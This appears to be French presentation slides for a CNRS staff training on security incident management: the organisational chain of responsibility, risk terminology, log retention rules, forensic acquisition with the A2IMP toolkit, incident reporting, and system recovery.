* Renforcer l’expertise interne existante
* Préparer une formation "investigation"
* Préparer le développement d’un réseau national collaboratif d’experts
* Anticiper le passage à un système de détection – réaction plus efficace
## de la [sécurité nationale](http://fr.wikipedia.org/wiki/S%C3%A9curit%C3%A9_nationale) à la SSI au CNRS
### [La défense en profondeur](http://circulaire.legifrance.gouv.fr/pdf/2009/04/cir_2014.pdf)
* Sébastien Le Prestre de Vauban
<div style="text-align: center;">
<img src="/_/images/fortification-a-la-vauban.jpg" width="50%" />
</div>
* exploiter plusieurs techniques de sécurité afin de réduire le risque lorsqu'un composant particulier de sécurité est compromis ou défaillant
Note:
- circulaire à lire
- un mot sur la défense nationale / défense globale / sécurité nationale
## Stratégie de la défense en profondeur
* n'évite pas l'attaque
* ralentit l'attaquant en lui opposant des difficultés multiples et variées
* **chacun** est un maillon de la sécurité nationale
* **chacun** est donc responsable
* de l'analyse des risques inhérents à son périmètre pour mieux les maîtriser
* de l'anticipation et de la prévention des accidents et des actes de malveillance
* **de l'amélioration continuelle de la sécurisation de son périmètre**
* le risque 0 n'existe pas
* la sécurité peut toujours être améliorée
## la chaîne Sécurité Défense
<div style="text-align: center;">
<img src="/_/ssi/images/ssi/organisation_nationale_sdn.png" width="50%" />
</div>
Note:
- FSD CNRS Philippe Gasnot
- Le haut "socle commun avec les partenaires"
- le bas "niveau établissements"
## la chaîne SSI
<div style="text-align: center;">
<img src="/_/ssi/images/ssi/organisation_nationale.png" width="50%" />
</div>
Note:
- AQSSI Alain Fuchs
## la chaîne sécurité au CNRS
<div style="text-align: center;">
<img src="/_/gdi/images/organisation_securite_cnrs.png" />
</div>
Note:
- RSSI DR7 Gaetan Dardy
- RSSI CNRS M. Parache a démissionné et va être bientôt remplacé…
## La SSI niveau national CNRS
* Un RSSIC nommé par le président et placé, sous l’autorité du DGDR, à la DSI dispose d’une équipe
* Un RSSIC adjoint
* Un RSSI DSI
* Dont les missions principales sont
* L’animation du réseau SSI du CNRS
* La définition et le suivi du plan d’action national SSI qui est présenté devant le Comité de Pilotage de la SSI du CNRS
* La prise en compte des directives SGDSN – Ministère en lien avec les partenaires du domaine ESR
* Qui est également chargé de mission auprès du Fonctionnaire de Sécurité et de Défense (FSD) du CNRS
* pour garantir la conformité des actions SSI avec la protection du potentiel scientifique et technique
Note:
- RSSIC adjoint Francois Morris
- RSSI DSI Jérémie Boutard
## La SSI niveau régional CNRS
* Un RSSI de DR
* nommé, dans chaque délégation régionale après avis du RSSIC
* anime le réseaux des chargés de sécurité des systèmes d’information (CSSI) des unités suivies par sa délégation
* La CRSSI
* Le RSSI DR s’entoure, en accord avec le RSSIC, d’experts SSI appartenant à des unités de recherche, pour former une coordination régionale de la SSI (CRSSI)
## La SSI niveau unité CNRS
* Le DU est responsable de la SSI
* [Le Chargé de sécurité des systèmes d’information (CSSI)](https://aresu.dsi.cnrs.fr/spip.php?article120)
* nommé par le directeur d’unité, après avis du RSSI régional
* assiste son DU dans l’exercice de sa responsabilité en matière de SSI
* assiste son DU pour la mise en œuvre de la PSSI du CNRS dans son unité
* sensibilise les agents à la SSI
* met en œuvre les recommandations SSI transmises par le RSSI du CNRS
* gère les alertes et incidents
Note:
- responsabilité du DU exemple du chiffrement
## Point de contact
* Toute unité doit en avoir un
* Un événement lié à la sécurité de l'information doit être rapporté, enregistré, traité au niveau local
* Si signalé à un niveau supérieur, sera systématiquement répercuté au niveau local
* Au cas où le niveau local serait impliqué, possibilité de signalement au niveau supérieur
* Publié, connu de tous
* Noms des personnes
* Mèl
* Téléphone
* Assistance utilisateurs si elle existe
* Souvent CSSI, ASR
* Peut être mutualisé entre plusieurs unités
* Pas nécessairement un spécialiste de la sécurité
## ISIRT (Information Security Incident Response Team)
<div style="text-align: center;">
<img src="/_/gdi/images/isirt_cnrs.png" />
</div>
## Remontée et veille en sécurité CNRS
<div style="text-align: center;">
<img src="/_/gdi/images/remontee_veille_cnrs.png" />
</div>
## [Espace de travail collaboratif dédié à la SSI](https://extra.core-cloud.net/collaborations/RSSI-CNRS)
* Partagé
* RSSI + Adjoints (partenaires compris)
* CRSSI
* CSSI + Adjoints
* 1 liste d’ASR pour la diffusion des alertes hebdomadaires
* Prévention
* Documentation sur la sensibilisation des utilisateurs
* Enquête (vivante) sur le déploiement du chiffrement
* Politique de sécurité
* PGSSI du CNRS dont la charte SSI du 29/11/2013
* PSSI opérationnelle pour les laboratoires
* Liste des règles classée par chapitre (sensibilité notée 1 à 3 *)
* Un système de déclaration des incidents utilisant un workflow
Note:
- le live CD d'A2IMP
- des fiches techniques liés aux événements d'actualités
- ces supports et ceux des autres DR
\ No newline at end of file
## Formalisation
<div style="text-align: center;">
<img src="/_/gdi/images/GdI-incidents.png" width="70%"/>
</div>
## qu'est ce qu'un incident de sécurité?
* violation d'un des critères de sécurité de l'information
* confidentialité
* intégrité
* disponibilité
## [Gestion de risques](https://www.cases.lu/fr/gestion-du-risque.html)
### ici avec la terminologie [EBIOS](http://www.ssi.gouv.fr/IMG/pdf/EBIOS-1-GuideMethodologique-2010-01-25.pdf)
* utilise plusieurs éléments de la méthodologie
* notion de scenarii
* notion de vraissemblance / probabilité / occurrence
* les échelles
* les bases de connaissances
* doit être caractérisé par un type
* vol ou perte
* intrusion
* ingénierie sociale (arnaque, phishing, etc.)
* violation des règles (P2P illégal)
* Déni de services
* Vulnérabilité découverte mais a priori non exploitée
## Sources de Menaces
### Caractéristaion
* origine humaine
* intentionnelle
* motivations
* accidentelle
* origine non humaine
* naturelle
* animale
* contingence
* facilité d'accès au sujet de l'étude (interne ou externe)
* capacités (force intrinsèque, selon leurs ressources, expertise, dangerosité…)
* notion pertinente en analyse de risques
* inutile dans le cas de la gesiton d'incident (l'attaque a eu effectivement eu lieu)
## Sources de Menaces <!-- .element: id="menace" -->
### Classification
* Source humaine interne, malveillante
* Source humaine externe, malveillante
* Source humaine interne, sans intention de nuire
* Source humaine externe, sans intention de nuire
* Code malveillant d'origine inconnue
* Phénomène naturel
* Catastrophe naturelle ou sanitaire
* Activité animale
* Événement interne
## Motivations
* Jeu, défi
* Curiosité
* Argent, cupidité, gain financier
* Destruction, vandalisme, sabotage
* Vengeance
* Rébellion
* Idéologie, avantage politique
* Chantage
* Ego, amour-propre, couverture médiatique
* Recherche d'un avantage concurrentiel, espionnage économique, renseignement
* Terrorisme
* Erreurs et omissions involontaires
## Actifs
* Actifs primordiaux
* Processus et activités métier
* Informations
* Actifs support
* Matériel
* Logiciels
* Réseau
* Personnel
* Site
* Structure de l'organisation
* Menace
* Cible les actifs primordiaux
*Exploite les vulnérabilités des actifs en support
## Vulnérabilités<!-- .element: id="vulnerabilite" -->
* A identifier au mieux
* Déterminer les versions des produits
* trouver des vulnérabilités connues
* Si possible déterminer le <a href="http://cve.mitre.org/index.html">CVE (Common Vulnerabilities and Exposures)</a>
## Exploits
* Mode opératoire de l’attaquant
* Récupérer le maximum d’informations sur
* Actions effectuées
* Outils, programmes, scripts utilisés
## Impacts, conséquences
* Types dimpacts et conséquences retenus pour le CNRS
* Pertes financières
* Désorganisation interne
* Atteinte à l’image de marque
* Pertes du potentiel scientifique et technique
* Condamnation et contentieux
* Sécurité des personnes et atteintes à l'environnement
* Evaluation
* Immédiat : perte d'un critère de sécurité (DIC)
* Pertes directes (vol ou perte)
* Temps passé à la résolution de l'incident
* Temps perdu suite à une indisponilibité ou à la restauration de l'intégrité
* Plus ou moins long terme
## Gravité
* Evaluation une fois l'analyse de l'incident terminé
* Mêmes échelles que pour l’appréciation des risques
* Estimation des conséquences potentielles en fonction des éléments disponibles
* Prévoir le pire
* Doit être en permanence reconsidérée
* Les quasi incidents
* Les dommages ont été évités par chance
* Découverte de vulnérabilités
* Doit être évalué comme un risque
\ No newline at end of file
## &Eacute;tapes principales
<div style="text-align: center">
<img src="/_/gdi/images/plan.jpg" width="70%" />
</div>
## Etapes de la gestion d’incidents
* La norme définit 5 étapes : [ISO27035 4.5](http://www.iso27001security.com/html/27035.html) (Information security incident management)
* Prepare
* Identify
* Assess
* Respond
* Learn
* Cette formation traite la gestion d'incidents en 6 étapes
* Préparer
* Détecter, évaluer et réagir
* Confiner et acquérir (rapidement)
* Eradiquer et agir (efficacement)
* Recouvrer (et prévenir)
* Consolider
## Diagramme de flux
<div style="text-align: center;">
<a href="/_/gdi/images/diagdeflux.png"><img src="/_/gdi/images/diagdeflux.png" width="40%" /></a>
</div>
Note:
- aspect amélioration
## Cartographie de la Gestion d'incidents au CNRS
[![alt text](/_/gdi/images/MindMap.png "Cartographie de la Gestion d'incidents au CNRS")](https://aresu.dsi.cnrs.fr/IMG/pdf/Incidents.pdf)
## Roue de Deming (PDCA)
<div style="text-align: center;">
<img src="/_/gdi/images/PDCA.jpg" width="70%" />
</div>
* Planifier
* Développer
* Contrôler
* Ajuster
\ No newline at end of file
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/etes-vous-prets.jpg" width="70%"/>
</div>
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* être identifié comme CSSI
* organiser la sensibilisation
* anticiper l'arrivée de l'incident pour
* dédramatiser
* avoir une marche à suivre
* éviter les erreurs techniques et organisationelles
* éviter la culpabilité
* éviter la dissimulation
* la déclaration d'incident est une obligation légale
* rappeler les Chartes d'utilisation des moyens informatiques du CNRS et des partenaires
Note:
- vertu de l'identificaiton, facilite la remontée évite la dissimulation amène à un comportement intelligent vis à vis de l'incidetn
- sensibilisation bon point de départ
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* L’environnement organisationnel
* Préparer ou se rapprocher des procédures de gestions de crise
* Préparer ou se rapprocher des plans de communication
* Préparer la gestion des priorités avec la hiérarchie, pour exemple :
* P1 : les personnes
* P2 : les informations « PPST »
* P3 : les informations personnelles
* etc.
* S'assurer que la hiérarchie est impliquée et consciente de sa responsabilité
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* L’environnement organisationnel
* Préparer une fiche de contacts (hiérarchie, partenaires, tutelles, etc.)
* Identifier les chaines de sécurité (ISIRT ou CSIRT en local, régional, national, partenaires, etc.)
* Préparer des fiches réflexes
* Connaitre les différents plan de continuité (PCA) et plan de reprise (PRA) du périmètre
* par exemple, les bascules automatiques peuvent détruire les preuves
* Disposer d’une liste d’outils pour l’acquisition (A2IMP)
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* L’environnement légal
* Etre à jour sur les déclarations CNIL
* Etre à jour sur la réglementation spécifique
* Avoir mis en place les mentions légales
* Web: [http://www.cil.cnrs.fr/CIL/spip.php?page=mentions_legales](http://www.cil.cnrs.fr/CIL/spip.php?page=mentions_legales)
* Systèmes: <img src="/_/gdi/images/notice_to_users.png" width="60%" />
Note:
- Affaire bluetouf & kitetoa "il n'ya pas de délis sans intention de le connaître"
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Gestion des traces
* [Politique de gestion des traces d'utilisation des moyens informatiques et des services réseau au CNRS](https://aresu.dsi.cnrs.fr/IMG/pdf/Po_gest_traces.pdf)
* Le CNRS a fait une déclaration à la CNIL relative aux logs
* Conserver
* Logs serveurs et postes de travail
* Logs serveurs de messagerie
* Logs serveurs Web
* Logs Services réseaux + équipements d'extrémités (Firewalls, routeurs, …)
* Logs de systèmes de détection d'intrusion (IDS)
* Logs de applications spécifiques, dès lors qu'elles enregistrent des données de connexion, d'utilisation
* La durée de conservation de ces journaux est fixée au maximum à 1 an (et au minimum à 1 an aussi ...)
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Gestion des traces
* Elle nous précise aussi la manière dont :
* on peut exploiter ces données (analyse, statistiques, …)
* l'unité doit informer les utilisateurs de la gestion qui est faite des traces qui les concernent.
* En fonction de ces informations, il apparaît qu’il est à minima fortement recommandé de :
* Gérer ses logs sur tous ses serveurs
* déployer une architecture de centralisation des logs
* Solution préconisée par le CNRS:
* rsyslog + outil d'analyse (logCheck, logwatch, logAnalyser, logStash, ElasticSearch, Kibana)
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* La gestion des traces
* Les utilisateurs doivent être informés (CNIL)
* Charte
* Le traitement doit être proportionnel (CNIL)
* Gestion pour supervision technique sans intrusion dans la vie privée
* Analyse fine uniquement à la demande de la chaîne SSI / Défense CNRS si suspicion
* Destinataires
* Chaîne SSI / Défense CNRS
* OPJ dans le cadre d’une enquête préliminaire ou commission rogatoire
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Pour anticiper le recouvrement s'assurer
* D’avoir un inventaire à jour des mots de passe et des séquestres
* Physique
* Numérique
* Doit être frais et fonctionnel (à tester)
* Etes vous en mesure de déverrouiller un périphérique chiffré pris au hasard sur votre parc?
* D'avoir des sauvegardes fraîches et fonctionnelles (outil de sauvegarde / dashboard pour le suivi)
* Que vous n'êtes pas le seul à pouvoir réaliser tester ces opérations
* A minima qu'elles soient documentées
* idéalement former une équipe d'experts en gestion des incidents
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Kit de survie GdI
* liste des contacts
* [bloc-note (journal)](/_/gdi/download/Fiche_intervention.pdf)
* <i class="fa fa-gift"></i> disque dur externe (recueil de preuve)
* [Livecd A2IMP](https://mycore.core-cloud.net/public.php?service=files&t=1357ba7c8c2604a71f9695449fe6b39a) et doc [linux](https://mycore.core-cloud.net/public.php?service=files&t=f141f3741d356ac95bea7b92287111d7) et [windows](https://mycore.core-cloud.net/public.php?service=files&t=9d00808565b9c8fcd865940008e2b4ac)
* [version antérieure](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/Documents/ISO%20A2IMP.aspx)
* Procédures (confinements, configurations, restaurations…)
## Préparer <img src="/_/images/PDCA/PDCA-P.png" width="20%" align="right"/>
* Faire de la veille de vulnérabilités SSI
* [https://listes.services.cnrs.fr/wws/admin/corresp_ssi](https://listes.services.cnrs.fr/wws/admin/corresp_ssi)
* Pour être abonné à cette liste de diffusion, il faut faire partie d’au moins une de ces listes sous CORE
* CSSI, CSSI Adjoints, ASR, RSSI Régionaux, RSSI Régionaux adjoints, RSSI Instituts, CRSSI ou être directement inscrit par le RSSI du CNRS.
* [l'intranet du CNRS](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/Documents/Forms/AllItems.aspx?TreeField=Folders)
* [Que faire en cas de rançongiciel ?](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/_layouts/WopiFrame.aspx?sourcedoc=/collaborations/RSSI-CNRS/Documentation/Documents/Rancongiciel.docx&action=default&Source=https%3A%2F%2Fextra.core-cloud.net%2Fcollaborations%2FRSSI-CNRS%2FDocumentation%2FDocuments%2FForms%2FAllItems.aspx%3FTreeField%3DFolders&DefaultItemOpen=1&DefaultItemOpen=1)
* [Que faire en cas de défiguration de site web ?](https://extra.core-cloud.net/collaborations/RSSI-CNRS/Documentation/_layouts/WopiFrame.aspx?sourcedoc=/collaborations/RSSI-CNRS/Documentation/Documents/Traitement%20d%C3%A9figuration.docx&action=default&Source=https%3A%2F%2Fextra.core-cloud.net%2Fcollaborations%2FRSSI-CNRS%2FDocumentation%2FDocuments%2FForms%2FAllItems.aspx%3FTreeField%3DFolders&DefaultItemOpen=1&DefaultItemOpen=1)
* [https://aresu.dsi.cnrs.fr/spip.php?rubrique73](https://aresu.dsi.cnrs.fr/spip.php?rubrique73)
* [http://www.certa.ssi.gouv.fr/](http://www.certa.ssi.gouv.fr/)
* [https://services.renater.fr/ssi/cert/info-secu](https://services.renater.fr/ssi/cert/info-secu)
* [http://www.cert-ist.com/fra/ressources/Avis/Listedesderniersavis/](http://www.cert-ist.com/fra/ressources/Avis/Listedesderniersavis/)
<!-- * [http://vigilance.fr](http://vigilance.fr), [https://twitter.com/VUPEN](https://twitter.com/VUPEN), [https://secunia.com/community/advisories/historic/](https://secunia.com/community/advisories/historic/) -->
\ No newline at end of file
## Détecter, évaluer et réagir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/detecter.jpg" width="70%"/>
</div>
## Détection <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### sources
* Utilisateurs
* Helpdesk
* Incidents informatiques
* Changements
* Performances
* Redémarrage de machines
* Analyses des journaux, outils de surveillance
* IDS, IPS, sondes, SIEM, etc.
* Métrologie
* ISIRT ([RENATER](https://www.renater.fr/), [CERT-FR](http://cert.ssi.gouv.fr/) [ex CERTA](http://www.cert.ssi.gouv.fr/cert-fr/certfr.html))
* Police, justice, Victimes d’une attaque
* Médias, Sites web ([zataz](http://www.zataz.com/tag/cnrs), [zone-h](http://www.zone-h.org/archive/filter=1/fulltext=1/domain=cnrs), pastebin, etc.)
## Identifier & caractériser <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* Recueillir les qui, quoi, quand, où, comment, etc.
* En premier lieu, vérifier que ce n'est pas
* une erreur de configuration
* une erreur humaine
* un défaut de communication entre personnes ou entités
* Première évaluation, sans parti pris, ni conclusion hâtive
* En cas de doute ne pas hésiter à demander de l'aide (local, régional, national)
## 1<sup>ère</sup> évaluation <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* Désigner une personne compétente (formée)
* identifiée en phase de préparation et lui laisser la main
* Ouverture du kit de gestion des incidents
* Horodatage précis de l'ouverture du journal
* Déterminer "à grosse maille"
* ce qui a été compromis
* l'étendu des dégâts
* Typer et classer l'incident
* Passer rapidement et directement au confinement
* Ou escalader auprès de la hiérarchie et/ou en gestion de crise, puis passer rapidement au confinement
\ No newline at end of file
## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/inscetoscopes.jpg" width="70%"/>
</div>
## Les outils A2IMP <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* A2IMP : Aide à l'Acquisition d'Informations sur une Machine Piratée
* Formation initiale organisée par l'UREC (2006/2007)
* Méthodologie toujours valable (mais prise en compte de l'évolution des systèmes [linux](https://mycore.core-cloud.net/public.php?service=files&t=f141f3741d356ac95bea7b92287111d7) et [windows](https://mycore.core-cloud.net/public.php?service=files&t=9d00808565b9c8fcd865940008e2b4ac))
* [Livecd A2IMP](https://mycore.core-cloud.net/public.php?service=files&t=1357ba7c8c2604a71f9695449fe6b39a) mis à jour
* Scientific Linux 6.5 avec kernel récent (3.x)
* Outils à la racine du CD (pour l'acquisition des données volatiles)
* a2impLinux
* a2impWin
* Outils en mode LiveCD (démarrage du système live pour la sauvegarde des partitions)
## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/zalman.jpg" width="70%"/>
</div>
**Faire l'acquisition des données volatiles avant d'isoler la machine du réseau** permet de récupérer plus d'informations sur le contexte
* connexions réseaux, utilisateurs connectés, processus liés aux activité réseaux, cache, mémoire RAM...
## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Collecte des données volatiles
* Monter l'ISO A2IMP
* Utiliser les binaires de l'ISO uniquement
* Lancer le script d'acquisition correspondant au système
* Sauvegarder les données récupérées sur un support externe
### cas d'une vm
* faire un snapshot
## Confiner et acquérir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Arrêter la compromission
* Arrêter la machine
* Deconnecter le cale réseau physiquement
### cas d'une vm
* arrêter la vm
* désactiver la vm via l'interface de l'hyperviseur
### créer une image disque
* rebooter sur l'ISO A2IMP
* attention à ne pas rebooter sur le système corrompu
* lancer la copie du disque avec signature
* sur un disque externe
\ No newline at end of file
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/Shaun_of_the_Dead.jpg" width="70%"/>
</div>
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* [Un problème de sécurité informatique non-traité est répréhensible](#/1/2)
* Décider rapidement avec la hiérarchie et la chaine fonctionnelle des suites à donner
* Activer la cellule de gestion de crise
* Activer les plans de continuité et/ou de reprise
* Demander une analyse externe
* <a href="http://www.dgdr.cnrs.fr/FSD/securite-systemes/que-faire4.htm">porter plainte en matière de SSI</a> sur le site de la DG
* Conserver les preuves A2IMP faites à l’étape d’acquisition
* Surtout en cas d'analyse judiciaire et/ou CERT
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
* Communiquer en interne de l’unité
* En accord avec la hiérarchie !
* Peut être établi au préalable lors de la phase de préparation
* Communiquer en externe de l’unité
* En accord avec la hiérarchie !
* signaler l'incident au niveau régional et national (chaîne SSI)
* pour les unités multi-établissements
* la « convention de site » doit préciser qui est pilote SSI
## Déclarer l'incident <!-- .element: class="fragment" -->
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Déclarer l'incident ... à qui?
* Fonctionnaire de sécurité de défense (FSD)
* Est informé des incidents concernant la protection du potentiel scientifique et technique (PPST)
* A délégation pour porter plainte en cas d’intrusion
* Direction des affaires juridiques (DAJ)
* Impliquée dans les dépôts de plainte
* Intrusion <i class="fa fa-hand-o-right"></i> FSD
* Autres (vol par exemple) <i class="fa fa-hand-o-right"></i> DAJ
* Correspondant informatique et libertés (CIL)
* Impliqué lorsqu’il y a violation de données à caractère personnel
* Direction de la communication (DirCom)
* Impliquée lorsqu’un incident a une exposition médiatique
* Direction de l’audit interne (DAI)
* Vérification que les procédures sont bien conformes
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Déclarer l'incident ... à qui?
* Délégué régional
* Délégation pour certains dépôts de plainte (après avis de la DAJ)
* Impliqué dans la gestion de crise
* Directeur d’unité
* Systématiquement informé d’un incident dans son unité
* La sécurité est de sa responsabilité
* Utilisateur
* A l’obligation de remonter les incidents SSI
* Cellule de crise
* RSSI des autres tutelles
* Doivent systématiquement être informés d’un incident
* A charge de réciprocité
* Tenir informer le CERT (ISIRT) qui a signalé l’incident
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Déclarer l'incident ... par qui?
* Le CSSI (ou le RSSI-Région) enregistre l’incident.
* Le CSSI, le RSSI-Région et le RSSI partenaire complètent l’enregistrement.
* Le RSSI CNRS
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Déclarer l'incident ... comment?
* Formulaire de déclaration d'incident sur l'espace de travail collaboratif dédié à la SSI
* [https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/D%c3%a9clarer%20un%20incident.aspx](https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/D%c3%a9clarer%20un%20incident.aspx)
* Détails
* Machines compromises
* Journal
* Investigations
* Impacts et conséquences de l'incident
* [Aide à la gestion des incidents](https://extra.core-cloud.net/collaborations/RSSI-CNRS/SitePages/Aide%20gestion%20des%20incidents.aspx)
Note:
- ouvrir le formulaire
- dérouler tous les pop up
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Investiguer
* Trouver les causes de l'incident afin de revenir à une situation normale
* En général, un incident a plusieurs causes
* Une ou plusieurs [menaces](#menace)
* Une ou plusieurs [vulnérabilités](#vulnerabilite)
* Techniques
* Organisationnelles
* Si nécessaire, activer une analyse inforensique poussée (type A3IMP)
* Coûts
* Dégâts causés
* Facteurs juridiques et procédure judiciaire
* Complexités de l’attaque
## Eradiquer et agir <img src="/_/images/PDCA/PDCA-D.png" width="20%" align="right"/>
### Préparer le retour à la normale
* Revenir à une situation nominale
* Restauration partielle
* Eradication des codes malveillants, etc.
* Ou, réinstallation complète
* Recommandé, surtout en cas de doute !
* Importance des sauvegardes et archives !
* Et dans tous les cas s’assurer que l’incident ne se reproduise pas
* Durcir les configurations
* Changer et durcir les mots de passe et éventuellement les méthodes d'authentification (multifacteur)
* Mettre à jour les correctifs de sécurité
* Durcir la topologie réseau (VLAN, routage, etc.)
* Durcir le filtrage réseau
* **Avant de ré-ouvrir le service**
\ No newline at end of file
## Recouvrer <img src="/_/images/PDCA/PDCA-C.png" width="20%" align="right"/>
<div style="text-align: center;">
<img src="/_/gdi/images/walkertexasranger.jpg" width="70%"/>
</div>
## Recouvrer <img src="/_/images/PDCA/PDCA-C.png" width="20%" align="right"/>
* Objectif: s'assurer d'avoir remis en service un système sain
* Actions
* Vérifier et valider le comportement du système
* Recettes fonctionnelle et technique avant ré-ouverture
* Ré-ouvrir le service en mode nominal ou dégradé
* Suivi renforcé du comportement dans les minutes / les heures / les jours (en fonction du contexte) qui suivent la réouverture du service
* Analyse quotidienne des traces réseaux et systèmes
* Analyse quotidienne des journaux d’audit
* Visite quotidienne des urls
* Revue quotidienne des résultats Google
* Etc.
* Si nécessaire, mettre en place une supervision à plus long terme
\ No newline at end of file